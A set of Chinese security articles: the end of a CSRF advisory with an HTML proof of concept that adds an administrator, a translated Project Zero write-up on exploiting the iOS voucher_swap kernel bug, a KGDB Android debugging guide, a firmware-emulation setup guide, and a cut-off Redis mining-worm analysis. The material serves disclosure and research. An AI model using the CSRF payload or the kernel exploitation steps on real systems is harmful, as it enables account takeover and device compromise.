常见的CSRF攻击利用方式，由于管理后台设计敏感操作的表单没有设置token，导致可以使用CSRF去添加管理员
**漏洞复现**
POC:
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.224.138/admin/adminadd.php?action=add" method="POST">
<input type="hidden" name="groupid" value="1" />
<input type="hidden" name="admins" value="123" />
<input type="hidden" name="passs" value="123" />
<input type="hidden" name="passs2" value="123" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
只需诱导管理员点击构造好的恶意页面，即可添加管理员
### 参考资料
<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-17136>
<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-14961>
<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-1000653>
<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-14962>
<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-13056>
<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-16344>
<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-14963> | 社区文章 |
> 本文是翻译文章，原文链接：<https://googleprojectzero.blogspot.com/2019/01/voucherswap-> exploiting-mig-reference.html>
在这篇文章中，我将描述我如何发现和利用[CVE-2019-6225](https://support.apple.com/en-us/HT209443)，这是`XNU`的`task_swap_mach_voucher()`函数中的`MIG`引用计数漏洞。我们将看到如何利用iOS
12.1.2上的这个错误来 **构建虚假内核任务端口** ，使我们能够 **读写任意内核内存**
。（这个错误是由[@S0rryMybad](https://twitter.com/S0rryMybad)独立发现的）
在后面的文章中，我们将看看如何使用这个错误作为分析和绕过Apple在A12设备(例如iPhone XS)上`ARMv8.3指针认证(PAC)`的起点。
# 一个奇怪的发现
`MIG`是一个产生Mach消息解析代码的工具，错误的`MIG`语义造成漏洞并不是什么新鲜的事：例如，伊恩·比尔[async_wake](https://bugs.chromium.org/p/project-zero/issues/detail?id=1417#c3)利用一个漏洞，即`IOSurfaceRootUserClient`将 **过解除分配(over-deallocate)** 一个`Mach`端口，而它由`iOS 11.1.2 MIG`语义管理。
大多数先前与MIG相关的问题是MIG服务例程 **不遵守对象生命周期和所有权的语义** 的结果。通常，MIG所有权规则表示如下：
1. 如果MIG服务例程返回成功，则它将获取所有传入资源的所有权。
2. 如果MIG服务例程返回失败，那么它将不会获得传入的资源的所有权。
不幸的是，正如我们将要看到的，此描述并未涵盖MIG管理的 **内核对象** 的完整复杂性，这可能导致意外错误。
这是`_Xsemaphore_destroy()`的相关代码：
task = convert_port_to_task(In0P->Head.msgh_request_port);
OutP->RetCode = semaphore_destroy(task,
convert_port_to_semaphore(In0P->semaphore.name));
task_deallocate(task);
#if __MigKernelSpecificCode
if (OutP->RetCode != KERN_SUCCESS) {
MIG_RETURN_ERROR(OutP, OutP->RetCode);
}
if (IP_VALID((ipc_port_t)In0P->semaphore.name))
ipc_port_release_send((ipc_port_t)In0P->semaphore.name);
#endif /* __MigKernelSpecificCode */
函数`convert_port_to_semaphore()`接受`Mach`端口并在底层信号量对象上生成引用，而不消耗端口上的引用。如果我们假设上面代码的正确实现，没有泄漏或消耗额外的引用，那么我们可以得出`semaphore_destroy()`的以下预期语义：
1. 成功时，`semaphore_destroy()`应该使用信号量引用。
2. 如果失败，`semaphore_destroy()`应该 **仍然** 消耗信号的引用计数值。
因此，`semaphore_destroy()`似乎不遵循MIG语义的传统规则：正确的实现总是取得信号量对象的所有权，无论服务例程是返回成功还是失败。
这当然引出了一个问题：管理MIG语义的完整规则是什么？是否存在违反这些其他MIG规则的代码实例？
# 糟糕的swap
在我对扩展的MIG语义的研究中，我发现了函数`task_swap_mach_voucher()`。这是[osfmk/mach/task.defs](https://opensource.apple.com/source/xnu/xnu-4903.221.2/osfmk/mach/task.defs.auto.html)中的MIG定义
routine task_swap_mach_voucher(
task : task_t;
new_voucher : ipc_voucher_t;
inout old_voucher : ipc_voucher_t);
这是来自`_Xtask_swap_mach_voucher()`的相关代码，自动生成的MIG包装器：
mig_internal novalue _Xtask_swap_mach_voucher
(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP)
{
...
kern_return_t RetCode;
task_t task;
ipc_voucher_t new_voucher;
ipc_voucher_t old_voucher;
...
task = convert_port_to_task(In0P->Head.msgh_request_port);
new_voucher = convert_port_to_voucher(In0P->new_voucher.name);
old_voucher = convert_port_to_voucher(In0P->old_voucher.name);
RetCode = task_swap_mach_voucher(task, new_voucher, &old_voucher);
ipc_voucher_release(new_voucher);
task_deallocate(task);
if (RetCode != KERN_SUCCESS) {
MIG_RETURN_ERROR(OutP, RetCode);
}
...
if (IP_VALID((ipc_port_t)In0P->old_voucher.name))
ipc_port_release_send((ipc_port_t)In0P->old_voucher.name);
if (IP_VALID((ipc_port_t)In0P->new_voucher.name))
ipc_port_release_send((ipc_port_t)In0P->new_voucher.name);
...
OutP->old_voucher.name = (mach_port_t)convert_voucher_to_port(old_voucher);
OutP->Head.msgh_bits |= MACH_MSGH_BITS_COMPLEX;
OutP->Head.msgh_size = (mach_msg_size_t)(sizeof(Reply));
OutP->msgh_body.msgh_descriptor_count = 1;
}
再一次，假设正确的实现不会泄漏或消耗额外的引用计数值，我们可以推断出`task_swap_mach_voucher()`的以下预期语义：
1. `task_swap_mach_voucher()`没有对`new_voucher`的引用; 该`new_voucher`引用是借来的，不应该被消耗掉。
2. `task_swap_mach_voucher()`包含对应该使用的`old_voucher`输入值的引用。
3. 失败时，`old_voucher`的输出值 **不应对指向的凭证对象持有任何引用** 。
4. 成功时，输出值`old_voucher`持有一个凭证的引用，而它由`task_swap_mach_voucher()`到`_Xtask_swap_mach_voucher()`得到，其经由后者消耗`convert_voucher_to_port()`
考虑到这些语义，我们可以与实际实现进行比较。这是来自`XNU
4903.221.2`的[osfmk/kern/task.c](https://opensource.apple.com/source/xnu/xnu-4903.221.2/osfmk/kern/task.c.auto.html)的代码，可能是一个占位符实现：
kern_return_t
task_swap_mach_voucher(
task_t task,
ipc_voucher_t new_voucher,
ipc_voucher_t *in_out_old_voucher)
{
if (TASK_NULL == task)
return KERN_INVALID_TASK;
*in_out_old_voucher = new_voucher;
return KERN_SUCCESS;
}
此实现不符合预期的语义：
1. `in_out_old_voucher`的输入值是`task_swap_mach_voucher`拥有的凭证引用。但是无条件地覆盖它，而不是首先调用`ipc_voucher_release()`，`task_swap_mach_voucher()`泄漏了凭证引用。
2. 值`new_voucher`不归`task_swap_mach_voucher()`所有，但它在`in_out_old_voucher`的输出值中返回。这会消耗不是`task_swap_mach_voucher()`持有的凭证引用。
因此，`task_swap_mach_voucher()`实际上包含两个引用计数问题！
我们可以通过使用凭证作为第三个参数调用`task_swap_mach_voucher()`来 **泄漏凭证对象的引用计数**
，并且我们可以通过将凭证作为第二个参数来 **减少凭证对象的引用计数** 。这是一个很好的开发原语，因为它为我们提供了
**几乎完全控制凭证对象的引用计数** 的方法。
> 进一步的调查显示，`thread_swap_mach_voucher()`包含一个类似的漏洞，但iOS 12中的更改使漏洞无法利用。
# 凭证的其他相关内容
为了掌握这个漏洞的影响，了解更多关于`Mach凭证`的信息是有帮助的，尽管全部细节对于利用并不重要。
Mach凭证由内核中的`ipc_voucher_t`类型表示，具有以下结构定义：
/*
* IPC Voucher
*
* Vouchers are a reference counted immutable (once-created) set of
* indexes to particular resource manager attribute values
* (which themselves are reference counted).
*/
struct ipc_voucher {
iv_index_t iv_hash; /* checksum hash */
iv_index_t iv_sum; /* checksum of values */
os_refcnt_t iv_refs; /* reference count */
iv_index_t iv_table_size; /* size of the voucher table */
iv_index_t iv_inline_table[IV_ENTRIES_INLINE];
iv_entry_t iv_table; /* table of voucher attr entries */
ipc_port_t iv_port; /* port representing the voucher */
queue_chain_t iv_hash_link; /* link on hash chain */
};
正如注释所示， **IPC凭证代表一组任意属性**
，这些属性可以通过Mach消息中的发送权限在进程之间传递。`Mach凭证`的主要相关者似乎是Apple的[libdispatch](https://opensource.apple.com/source/libdispatch/libdispatch-1008.220.2/)库。
与我们相关的`ipc_voucher`的唯一字段是`iv_refs`和`iv_port`。其他字段与 **管理凭证对象的全局列表** 和
**存储凭证所代表的属性** 有关，这两个凭证都不会在漏洞利用中使用。
从iOS 12开始，`iv_refs`的类型为`os_refcnt_t`，它是 **32位引用计数** ，允许值范围为`1-0x0fffffff`（即7个f
，而不是8个f）。试图保留或释放超出此范围的引用计数将引发错误。
`iv_port`是指向`ipc_port`对象的指针，该对象表示 **此用户空间的凭证**
。只要在`iv_port`设置为`NULL`的`ipc_voucher`上调用`convert_voucher_to_port()`，它就会被初始化。
要创建 **Mach凭证** ，可以调用`host_create_mach_voucher()`陷阱。此功能采用 **描述凭证属性的“配方”**
，并返回代表凭证的 **凭证端口** 。但是，由于 **凭证是不可变的**
，因此有一个怪癖：如果生成的凭证属性与已存在的凭证完全相同，则`host_create_mach_voucher()`将 **仅返回对现有凭证的引用**
，而不是创建新凭证。
# 这是不合适的！
有许多不同的方法可以利用这个bug，但是在这篇文章中我将讨论我的最爱： **增加一个外部的Mach端口指针，使其指向管道缓冲区** 。
现在我们已经了解了漏洞是什么，现在是时候确定我们可以用它做什么了。正如您所期望的那样，一旦`ipc_voucher`的引用计数降至0，就会被释放内存。因此，我们可以利用漏洞导致
**凭证被意外释放** 。
但是，释放凭证仅在随后以有趣的方式重新使用已取用的凭证时才有用。这有三个组件： **存储指向已释放凭证的指针** ，
**使用有用的东西重新分配已释放的凭证** ，以及 **重用存储的凭证指针来修改内核状态**
。如果我们无法使这些步骤中的任何一个工作，那么整个bug几乎是无用的。
让我们考虑第一步， **存储指向凭证的指针**
。内核中有一些地方直接或间接存储凭证指针，包括`structipc_kmsg`的`ikm_voucher`字段和`struct
thread`的`ith_voucher`字段。其中，最容易使用的是`ith_voucher`，因为我们可以通过调用`thread_get_mach_voucher()`和`thread_set_mach_voucher()`直接
**从用户空间读取和写入该字段的值** 。因此，我们可以通过首先调用`thread_set_mach_voucher()`
存储一个对凭证的引用，接着我们可以使`ith_voucher`指向一个释放的凭证，然后使用我们的bug **删除刚才添加的引用** ，最后在用户空间中
**取消分配凭证端口以释放凭证** 。
接下来考虑如何使用有用的东西重新分配凭证。`ipc_voucher`对象存在于他们自己的`zalloc`区域`ipc.vouchers`中，因此我们可以轻松地将我们释放的凭证与另一个凭证对象重新分配。但是，重新分配任何其他类型的对象
**将要求我们强制内核执行区域垃圾收集** 并 **将仅包含已释放凭证的内存页面移动到另一个区域** 。不幸的是，凭证似乎没有
**存储任何重要的特权相关属性** ，因此将我们的已释放的凭证与另一个凭证重新分配可能没有帮助。这意味着我们必须 **执行区域gc** 并
**使用其他类型的对象重新分配凭证** 。
为了弄清楚我们应该重新分配什么类型的对象，首先检查我们将如何在线程的`ith_voucher`字段中使用凭证的 **悬空指针**
是有帮助的。我们有几个选项，但最简单的方法是调用`thread_get_mach_voucher()`来为已释放的凭证 **创建或返回凭证端口**
。这将在释放的`ipc_voucher`对象上调用`ipc_voucher_reference()`和`convert_voucher_to_port()`，因此我们需要确保`iv_refs`和`iv_port`都有效。
但是，使`thread_get_mach_voucher()`如此有用的原因是它 **将凭证的Mach端口返回给用户空间**
。我们有两种方法可以利用它。如果释放的`ipc_voucher`对象的`iv_port`字段为 **非NULL**
，则该指针直接被解释为`ipc_port`指针，`thread_get_mach_voucher()`将其作为Mach发送权返回给我们。另一方面，如果`iv_port`为`NULL`
，则`convert_voucher_to_port()`将返回一个新分配的凭证端口，该端口 **允许我们继续操纵从用户空间释放的凭证的引用计数** 。
这让我产生了 **使用外线端口重新分配凭证** 的想法。在 **消息中发送大量Mach端口权限** 的一种方法是 **在端口描述符中列出端口** 。当
**内核在外部端口描述符中复制** 时，它会分配一个数组来存储`ipc_port`指针列表。通过发送包含外部端口描述符的许多Mach消息，我们可以
**使用一组外部Mach端口指针可靠地重新分配释放的`ipc_voucher`** 。
由于我们可以控制数组中的哪些元素是 **有效端口**
以及哪些是`MACH_PORT_NULL`，因此我们可以确保使用`NULL`覆盖凭证的`iv_port`字段。这样，当我们在用户空间中调用`thread_get_mach_voucher()`时，`convert_voucher_to_port()`将
**分配一个指向重叠凭证的新凭证端口** 。然后我们可以 **在返回的凭证端口上 再次使用引用计数bug来修改
释放的凭证的`iv_refs`字段**，这将改变与`iv_refs`重叠的任何数量的 **外部端口指针** 的值。
当然，我们还没有解决确保`iv_refs`字段有效的问题。如前所述，如果我们想要重用`freedipc_voucher`而不触发 **内核恐慌**
，`iv_refs`必须在`1 - 0x0fffffff`的范围内。
该`ipc_voucher`结构是为`0x50`字节，`iv_refs`字段是在偏移`0x8`中; 由于iPhone是`little-endian(小端序)`，这意味着如果我们使用一系列外部端口重新分配释放的凭证，`iv_refs`将始终与`ipc_port`
指针的低32位重叠。让我们调用与`iv_refs`基本端口重叠的Mach
端口。使用`MACH_PORT_NULL`或`MACH_PORT_DEAD`作为基本端口将导致`iv_refs`为`0
或0xffffffff，`两者都无效。因此， **剩下的唯一选择是使用一个真实的Mach端口作为基本端口**
，使得`iv_refs`与真正的低32位覆盖`ipc_port`指针。
这很危险，因为如果基本端口地址的低32位是0或大于0x0fffffff ，则访问已经释放的凭证将会发生混乱。幸运的是，最近的iOS设备上的
**内核堆分配** 表现得非常好：`zalloc`页面将 **从低地址开始从0xffffffe0xxxxxxxx范围分配**
，因此只要堆自从系统启动以来没有变得太不守规矩，我们 **可以合理地确定基本端口地址的低32位将在所需范围内**
。因此，如果在重新启动后运行漏洞，则将`iv_refs`与 **一个外部Mach端口指针** 重叠几乎肯定会正常工作。
## 利用思路
这为我们提供了利用此漏洞的思路：
1. 分配一页Mach凭证。
2. 在线程的`ith_voucher`字段中 **存储指向目标凭证的指针** ，并使用漏洞 **删除添加的引用** 。
3. **取消分配凭证端口，释放所有凭证** 。
4. **强制区域gc** 并 **使用一系列外部端口重新分配 已释放凭证的页面** 。使用指向基本端口的指针的 **低32位重叠目标凭证的`iv_refs`字段**，并 **将凭证的`iv_port`字段与`NULL`重叠**。
5. 调用`thread_get_mach_voucher()`以 **检索与外部端口重叠的凭证的凭证端口** 。
6. 再次使用此漏洞 **修改重叠凭证的iv_refs字段** ，该字段会 **更改外部基本端口指针** ，使其指向其他位置。
7. 一旦我们 **收到包含外部端口的Mach消息** ，我们就会获得一个解释为`ipc_port`的 **任意内存的发送权** 。
# 管道相关利用(Pipe dreams)
那么我们应该如何获得发送权？理想情况下，我们能够完全控制我们收到的假`ipc_port`的内容，而不必通过 **解除分配** 然后 **重新分配**
支持假端口的内存来玩冒险游戏。
Ian实际上在他的[multi_path](https://bugs.chromium.org/p/project-zero/issues/detail?id=1558#c3)和[empty_list](https://bugs.chromium.org/p/project-zero/issues/detail?id=1564#c10)漏洞 **利用管道缓冲区** 中提出了一个很好的技术。到目前为止，我们的漏洞利用
**允许我们修改指向基本端口的外部指针** ，使其 **指向其他位置** 。因此，如果原始基本端口 **直接位于内核内存中的一堆管道缓冲区的前面**
，那么我们可以 **泄漏凭证引用以增加外部端口数组中的基本端口指针** ，以便它 **指向管道缓冲区** 。
此时，我们可以 **在用户空间中收到包含外部端口的消息** 。此消息将 **包含对`ipc_port`的发送权限**，该`ipc_port`
**与我们的一个管道缓冲区重叠** ，因此我们可以通过 **读取和写入重叠管道的文件描述符** 来 **直接读取和写入伪`ipc_port`内存的内容**。
# TFP0
一旦我们拥有一个 **完全可控的`ipc_port`对象的发送权限**，漏洞利用流程就清晰了。
我们可以使用相同的旧`pid_for_task()`技巧 **构建一个基本的内核内存读取原语** ： **将我们的端口转换为伪任务端口**
，以便伪任务的`bsd_info`字段（它是 **指向`proc`结构的指针**） **指向我们想要的内存read**
，然后调用`pid_for_task()`读取重叠`bsd_info->p_pid`的4个字节。不幸的是，有一个小问题：我们不知道
**内核内存中管道缓冲区** 的 **地址** ，因此我们不知道在哪里 **伪造假任务端口的`ip_kobject`字段点**。
我们可以通过将我们的 **假任务结构体** 放在我们发送到假端口的Mach消息中来解决这个问题，之后我们可以 **读取与端口重叠的管道缓冲区**
，并从端口的`ip_messages` **获取包含我们假任务的消息的地址`imq_messages`字段**。一旦我们知道包含我们的
**假任务的`ipc_kmsg`的地址**，我们就可以 **覆盖伪端口的内容** ，将其转换为 **指向伪任务的任务端口** ，然后
**像往常一样在伪任务端口上调用`pid_for_task()`来读取4个字节的任意内核内存**。
这种方法的一个不幸后果是它为每个4字节读取 **泄漏了一个`ipc_kmsg`结构**。因此，我们希望尽可能快地构建一个更好的 **读取原** 语，然后
**释放所有泄露的消息** 。
为了 **获得管道缓冲区的地址** ，我们可以 **利用它驻留在基本端口地址的已知偏移量**
。我们可以在虚假端口上调用`mach_port_request_notification()`来添加一个请求，一旦伪端口成为死名(dead name)，就会
**通知基本端口** 。这会导致伪端口的`ip_requests`字段指向一个新分配的数组，该数组包含 **指向基本端口的指针** ，这意味着我们可以
**使用内存读取原语** 来 **读出基本端口的地址** 并 **计算管道缓冲区的地址** 。
此时我们可以 **在管道缓冲区内构建一个伪内核任务** ，为我们 **提供完整的内核读、写** 。接下来，我们使用`mach_vm_allocate()`
**分配内核内存** ， **在该内存中编写一个新的伪内核任务** ，然后 **修改进程的`ipc_entry`表中的伪端口指针**，以
**指向新的内核任务** 。最后，一旦我们有了新的内核任务端口，我们就可以 **清理所有泄漏的内存** 。
这就是完全利用！您可以在此处找到适用于iPhone XS，iPhone XR和iPhone
8的漏洞利用代码：[voucher_swap](https://bugs.chromium.org/p/project-zero/issues/detail?id=1731#c10)。源代码中提供了对漏洞利用技术的更深入，逐步的技术分析。
# 撞bug
我在2018年12月6日向Apple报告了这个漏洞，截至12月19日Apple已经发布了iOS 12.1.3
beta版本16D5032a，修复了这个问题。由于这对Apple来说是一个令人难以置信的快速转变，我怀疑这个错误是由其他一方首先发现并报告的。
后来我了解到这个bug是由Qihoo 360 Vulcan Team的Qixun
Zhao（@S0rryMybad）独立发现和利用的。有趣的是，我们都是通过`semaphore_destroy()`引发了这个错误;
因此，我不会惊讶地发现这个错误在被修复之前已广为人知。Mybad将此漏洞用作天府杯远程越狱的一部分， 你可以阅读他获得`tfp0`的策略。
# 总结
这篇文章研究了[P0问题1731](https://bugs.chromium.org/p/project-zero/issues/detail?id=1731)的发现和利用，这是一个关于 **IPC凭证引用计数** 问题，其根源在于
**未能跟踪外部对象的MIG语义**
。在新引导后几秒钟运行时，此处讨论的漏洞利用策略非常可靠：在我测试的设备上，漏洞利用成功率高达99％。该漏洞利用也很简单，当成功时，它允许我们
**清理所有泄漏的资源并使系统处于完全稳定的状态** 。
在某种程度上，令人惊讶的是，这种“容易”的漏洞仍然存在：毕竟，XNU是开源的，并且对这样的有价值的错误进行了严格的审查。但是，MIG语义非常不直观，并且与编写安全内核代码的自然模式不一致。虽然我很想相信这是MIG的最后一个主要问题，但我看到至少还有一些问题我不会感到惊讶。
这个错误也是一个很好的提醒， **占位符代码也可能引入安全漏洞** ，应该像功能代码一样严格审查，无论它看起来多么简单。
最后，值得注意的是，在利用这个漏洞时，我所遇到的 **最大问题** 是， **允许的引用计数值的范围有限**
，在12版之前的iOS版本中甚至都不是问题。在早期的平台上，这个bug总是令人难以置信可靠。因此，很高兴看到即使`os_refcnt_t`没有阻止这个漏洞被利用，缓解至少会影响利用可靠性，并且可能会降低这样的漏洞对攻击者的价值。
我的下一篇文章将展示如何利用这个漏洞来分析Apple的 **指针认证实现** ，最终形成一种技术，允许我们 **为使用A键签名的指针伪造PAC** 。这足以
**通过JOP调用任意内核函数** 或 **在内核中执行任意代码** 。 | 社区文章 |
# 【技术分享】使用KGDB实现Android内核调试
##### 译文声明
本文是翻译文章，文章来源：trendmicro.com
原文地址：<http://blog.trendmicro.com/trendlabs-security-intelligence/practical-android-debugging-via-kgdb/>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
**翻译：**[ **myswsun**
****](http://bobao.360.cn/member/contribute?uid=2775084127)
**预估稿费：140RMB**
******投稿方式：发送邮件至**[ **linwei#360.cn**](mailto:[email protected]) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿******
**
**
**前言**
内核调试给了安全研究员在分析时一个监视和控制设备的工具。在桌面平台如Windows、macOS和linux，非常简单实现。然而，在安卓设备，例如谷歌Nexus
6P，上面内核调试很困难。本文，我将描述一种在安卓设备上面内核调试的方法，而且不需要特殊硬件。
**实现**
Joshua J.Drake和Ryan Smith为了这个目的构建了一个[UART debug
cable](https://www.optiv.com/blog/building-a-nexus-4-uart-debug-cable)，能很好的完成内核调试。然而一些人不擅长硬件环境构建，这将变得困难。还好，通过[serial-over-usb通道](http://bootloader.wikidot.com/android:kgdb)也能完成内核调试。
这个方法可以追述到2010年，意味着一部分指令现在已经过时了。我发现仍然使用此方法的一些关键点可以在现代Android设备上使用。研究员用调试来判断CPU执行的状态，能加快分析。但是这个过程如何实现？
Android用的是linux内核，内置了内核调试器[KGDB](https://kgdb.wiki.kernel.org/index.php/Main_Page)，KGDB依赖连接调试设备和目标设备的串口。典型场景如下：
图1. KGDB工作模式
目标设备和调试设备使用串口电缆相连。用户在调试设备上面使用GDB附加到串口（如/dev/ttyS1）目标设备，命令是target remote
/dev/ttyS1。之后，GDB能和目标设备上的KGDB通过串口电缆通信。
KGDB的核心组件处理真正的调试任务，例如设置断点和获取内存数据。KGDB的输入输出组件连接KGDB核心组件和底层串口驱动的关键。
然而，Android设备通常没有硬件串口。第一个挑战便是如何找到一个通道，能够用GDB向外发送调试信息。多种通道被使用了，但是最特别的解决方案是USB电缆。
Linux内核USB驱动支持[USB ACM class
devices](https://cscott.net/usb_dev/data/devclass/usbcdc11.pdf)，能仿真一个串口设备。简言之，一个Android设备能通过USB电缆连接串口设备。所有这一切都在已经是Linux内核一部分的代码中了，因此我们不比增加代码。下面是激活调试功能的步骤：
1\.
构建一个AOSP的版本和相应的linux内核，参考[在此](https://source.android.com/source/building.html)。
2\. 用USB电缆将目标设备和调试机器相连。
3\. 用fastboot命令将映像写入设备，fastboot flashall –w。
4\. 运行adb命令启动网咯服务：adb tcpip 6666。
5\. 在调试机器上面，运行adb连接设备：adb connect <device ip> 6666。
6\. 运行adb shell：adb shell。
7\. 在adb shell中，到USB驱动控制文件夹中/sys/class/android_usb/android0/。
8\. 在adb shell中，用下面的命令启动USB ACM功能：
echo 0 > enable //close USB connection
echo tty > f_acm/acm_transports //specific transport type
echo acm > functions //enable ACM function on USB gadget driver
echo 1 > enable //enable USB connection
到这里，USB ACM功能应该启用了。两步验证是否生效：首先，在adb shell中，用ls
/dev/ttyGS*。一个设备文件应该存在。再者，在调试机器上面，用ls
/dev/ttyACM*。也应该存在一个设备文件。调试机器和目标设备用这两个文件通信。
第二个挑战是KGDB需要底层通信驱动（串口驱动或者USB驱动）来提供一个轮询的接口用于读写。为什么？因为KGDB的通信通道需要在KGDB的内核异常处理函数中工作。在那个上下文中，中断被禁用了并且只有一个CPU起作用。底层驱动不依赖中断并且需要轮询改变寄存器或内存I/O空间。不要在这个上下文使用休眠和自旋锁。
这个Nexus
6P使用DWC3控制器来完成USB连接。这个USB驱动不直接提供轮询功能。因此我们需要在DWC3设备驱动中添加这个[特性](https://github.com/jacktang310/KernelDebugOnNexus6P)。代码后面的概念是简单的：我已经移除了中断依赖。相反的是我是用循环去查询相应的寄存器修改和内存空间。为了使事情简单，我做了以下的事情：
1\. 我在kgdboc.c文件中的kgdboc_init_jack函数中硬编码了ACM设备文件名/dev/ttyGS0。
2\. 我改变了f_acm/acm_transports函数启用了KGDB。这将允许用简单的命令开启KGDB: echo kgdb >
f_acm/acm_transports
下图是KGDB的工作模式：
图2. 新的KGDB的工作模型
这里是整合代码到内核代码的步骤。虽然你能用任何内核代码，但是我采用[谷歌自身的仓库](https://android.googlesource.com/kernel/msm.git)，指定分支origin/android-msm-angler-3.10-nougat-hwbinder。
1\. 用下面的配置编译内核代码：
1. CONFIG_KGDB=y
CONFIG_KGDB_SERIAL_CONSOLE=y
2. CONFIG_MSM_WATCHDOG_V2 = n，如果这个启动了，内核中轮询循环是一个死循环并重启设备。
3. CONFIG_FORCE_PAGES=y，如果这个没哟开启，软断点将不能设置。
2\. 用fastboot命令刷新内核和Android映像到目标设备。
3\. 在调试机器上面启动Android系统。运行以下命令启动网络服务：adb tcpip 6666。
4\. 在调试机器上，运行以下命令：
adb connect <device’s ip address>:6666
adb shell
5\. 在adb shell中，运行以下命令：
echo 0 > enable
echo tty > f_acm/acm_transports
echo acm > functions
echo 1 > enable
echo kgdb > f_acm/acm_transports
6\. 在调试机器上面，运行gdb。Nexus
6P有一个aarch64的内核，因此需要[aarch64版本的gdb](https://android.googlesource.com/platform/prebuilts/gcc/linux-x86/aarch64/aarch64-linux-android-4.8)。
sudo <path>/aarch64-linux-android-gdb <path>/vmlinux
target remote /dev/ttyACM0
7\. 在adb shell中，输入以下命令：
echo g > /proc/sysrq-trigger
注意：在第6步和第7步之间的时间间隔不能太长。越短越好。
8\. 如果成功了，GDB会有以下输出：
图3. GDB输出
我已经用这个方法在Nexus 6P上面实现了内核调试。这个方法应该也支持Google Pixel，因为他们也使用DWC3 USB控制器。
**总结**
我们希望分享这个技术能够帮组到其他Android研究者，使得更好的理解移动恶意软件的行为。调试有助于研究者更好的逆向分析，也能更清楚的理解Android设备上面恶意程序如何作为。 | 社区文章 |
# 物联网设备的固件模拟环境搭建
##### 译文声明
本文是翻译文章，文章来源：https://blog.attify.com/
原文地址：<https://blog.attify.com/getting-started-with-firmware-emulation/>
译文仅供参考，具体内容表达以及含义原文为准。
在这篇文章中，我们将演示如何模拟一个给定Iot设备的固件。
固件仿真可以用于许多不通的目的，比如提供一个更好的方法来分析固件，测试利用，完成远程调试等。基于这个技术，再没有一个物理Iot设备的情况下，你可以模拟一个不同架构的固件并进行交互。早期，完成一个固件仿真需要创建一个Qemu镜像，然后复制到固件的文件系统里，才能启动固件。现在，存在一种更简单的替代方案，在模拟固件的时候也更容易出现较少的问题，让我们一探究竟。
## 需要的工具
* AttifyOS VM 或者任何基于Linux的镜像
* [固件分析工具包](https://github.com/attify/firmware-analysis-toolkit)(<https://github.com/attify/firmware-analysis-toolkit>)
* 需要模拟的固件(比如：[Netgear WNAP320](http://www.downloads.netgear.com/files/GDC/WNAP320/WNAP320%20Firmware%20Version%202.0.3.zip))
## 配置
准备好上面三个工具之后，第一步我们需要做的就是设置固件分析工具包。
**固件分析工具包**
其实就是对[Firmadyne](https://github.com/firmadyne/firmadyne)的简单的封装，自动化了模拟新固件的过程。
**下载并安装FAT** ，只需要跟随下面代码所示，递归的clone一个git项目就可以：
git clone --recursive https://github.com/attify/firmware-analysis-toolkit.git
接下来，我们需要安装几个单独的工具，比如：Binwalk,Firemadyne和Firmware-Mod-Kit.
## 安装Binwalk
**安装Binwalk** 只需要安装依赖就可以了，例如：
cd firmware-analysis-toolkit/binwalk
sudo ./deps.sh
sudo python setup.py install
如果一些顺利的话，我们就可以运行binwalk，然后看到下面的输出了：
## 安装Firmadyne
要安装Firmadyne，需要进入Firmadyne目录，然后打开firmadyne.config，里面的内容如下：
找到
FIRMWARE_DIR=/home/vagrant/firmadyne/这一行，然后修改Fireadyne的地址为当前的全路径，我这里修改完之后是这样的：
修改完之后，下一步就可以下载Firmadyne需要的其他文件了，如果网络状态好的话，这个过程需要1-2分钟，这时候我们可以喝杯咖啡或者吸根烟了。
下载完成之后，下一步就需要安装Firmadyne剩余的依赖文件了：
sudo -H pip install git+https://github.com/ahupp/python-magic
sudo -H pip install git+https://github.com/sviehb/jefferson
sudo apt-get install qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils
接下来，我们还需要安装PostgreSQL数据库，这一步直接按照官方Firmadyne wiki提供的指令就可以了：
sudo apt-get install postgresql
sudo -u postgres createuser -P firmadyne
sudo -u postgres createdb -O firmadyne firmware
sudo -u postgres psql -d firmware < ./firmadyne/database/schema
当提示数据库密码的时候，我们设置为firmadyne就可以了（为了避免后面不必要的问题）。
到这里我们已经全部安装完Firmadyne了。
## 安装Firmadyne Analysis Tookit
首先我们需要把fat.py和reset.py移动到firmadyne目录里。如
然后打开fit.py，修改root的密码（当运行这个脚本的时候就不会再需要输入密码了）和指定firmadyne的目录，例如：
到这里安装工作就完成了，请确认postgresql数据库启动并正常运行。
。。看样子我们一切顺利。
## 模拟一个固件
现在你需要做的就是指定一个固件名称然后运行fat.py来模拟一个固件，这里我们运行的是WNAP320.zip固件。
对于Brand参数，你可以指定任意brand，这个参数仅仅是为了数据库方便的目的。
输出的内容应该像下面所示：
当我们完成了固件的初始化过程之后，会得到一个IP地址，这种情况下是固件运行了一个web服务，你可以通过SSH访问这个web接口，然后就可以完成其他基于网络的利用了。
让我们打开firefox来验证一下是否我们可以访问这个web接口。
**祝贺！！！** – 我们已经成功的模拟了一个固件（最初用于MIPS Endian架构），并且得到了一个可以访问固件内部的web接口。
这就是这篇文章的全部，如果有任何问题，请联系[我们](https://www.attify.com/contact-us)。
审核人：yiwang 编辑：边边 | 社区文章 |
# Linux Redis自动化挖矿感染蠕虫分析及安全建议
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
# 一、 背景
自从Redis未授权问题获取Linux系统root权限的攻击方法的披露后，由于其易用性，利用该问题入侵Linux服务进行挖矿、扫描等的黑客行为一直层出不穷;而在众多利用该问题入侵服务器进行黑产行为的案例中，其中就存在一类利用该问题进行挖矿并且会利用pnscan自动扫描感染其他机器；该类攻击一直存在，不过在近期又呈现数量增加的趋势，在最近捕获到多次，我们针对其做下具体的分析。
# 二、 漏洞说明
首先针对利用的漏洞做个说明，Redis 默认情况下，会绑定在
